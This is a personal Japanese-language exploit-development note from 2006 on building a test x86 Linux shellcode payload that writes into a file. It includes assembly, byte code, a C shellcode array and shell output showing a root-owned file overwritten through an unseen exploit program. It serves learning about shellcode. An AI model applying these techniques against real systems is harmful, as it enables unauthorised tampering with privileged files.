NENote of Exploiting


2006-11-22 : Write Test Payload

 writeシステムコールテストペイロードの作成メモ。

 Writeシステムコールは文字列をファイルディスクリプタの目印以降に書き出す。ペイロードの概要は、読み込み専用でファイルをオープンし、開いたファイルにそのファイル名を書き出す。その後ファイルをクローズする。

[SC] write.s


.globl main

main:
    jmp    ONE

TWO:

    #open
    popl   %ebx
    xorl   %eax,   %eax
    movb   %al,    4(%ebx)
    movb   $0x5,   %al
    xorl   %ecx,   %ecx
    inc    %ecx
    int    $0x80

    #write
    movl   %ebx,   %esi
    movl   %eax,   %ebx
    movl   %esi,   %ecx
    xorl   %edx,   %edx
    movb   $0x4,   %dl
    xorl   %eax,   %eax
    movb   $0x4,   %al
    int    $0x80

    #close
    xorl   %eax,   %eax
    movb   $0x6,   %al
    int    $0x80

    #exit
    mov    $0x1,   %al
    xorl   %ebx,   %ebx
    int    $0x80

ONE:
    call    TWO
    .string "test"

[Data] test

It's test.
test file.
Yahoooooo. 

Exemplification

 ソースコードをバイトコードに変換する。

eb 29 5b 31 c0 88 43 04
b0 05 31 c9 41 cd 80 89
de 89 c3 89 f1 31 d2 b2
04 31 c0 b0 04 cd 80 31
c0 b0 06 cd 80 b0 01 31
db cd 80 e8 d2 ff ff ff
74 65 73 74

 バイトコードを次のようにC言語で書かれたテストプログラム([SC] exploit.c)に埋め込む。


unsigned char payload[]=
"\xeb\x29\x5b\x31\xc0\x88\x43\x04"
"\xb0\x05\x31\xc9\x41\xcd\x80\x89"
"\xde\x89\xc3\x89\xf1\x31\xd2\xb2"
"\x04\x31\xc0\xb0\x04\xcd\x80\x31"
"\xc0\xb0\x06\xcd\x80\xb0\x01\x31"
"\xdb\xcd\x80\xe8\xd2\xff\xff\xff"
"\x74\x65\x73\x74" 
;

 次にtest.cをコンパイルし、実行する。

defolos@glazheim:~/Desktop$ gcc test.c
defolos@glazheim:~/Desktop$ ./a.out 

 testファイルはwriteシステムコールによって変更されたはずである。確認を行う。

defolos@glazheim:~/Desktop$ cat test
test test.
test file.
Yahoooooo.

 ペイロードが正常に動いていることが確認できた。なので、testファイルの所有権をrootに変更し、バイトコードをC言語で書かれたExploit([SC] exploit.c)に埋め込んで実行する。

glazheim:/home/defolos/Desktop# chown root test
glazheim:/home/defolos/Desktop# ls -l test
-rw-r--r-- 1 root defolos 41 2006-11-22 09:57 test

 testファイルの所有権がrootになっていることを確認できた。次に、testファイルの中身を次のように変更した。

glazheim:/home/defolos/Desktop# cat test
It is a test file.
test file.
Yahoooooo.

 exploit.cをコンパイルし、実行する。

defolos@glazheim:~/Desktop$ gcc exploit.c
defolos@glazheim:~/Desktop$ ./a.out
sp = 0xbffff918
ret = 0xbffff918
-------exploit---------------

 これでtestファイルの内容は上書きされたはずである。ゆえに、catコマンドを用いて確認を行う。

defolos@glazheim:~/Desktop$ cat test
tests a test file.
test file.
Yahoooooo.

 writeテストペイロードによってtestファイルの内容を上書きできることが確認された。

Issues

 このペイロードは任意の文字列を上書きすることはできない。加えて、このペイロードは上書きのみが可能であって、追加書き込みは不可能である。

References

Copyleft (C) 2007 Len. All Rights Not Reserved.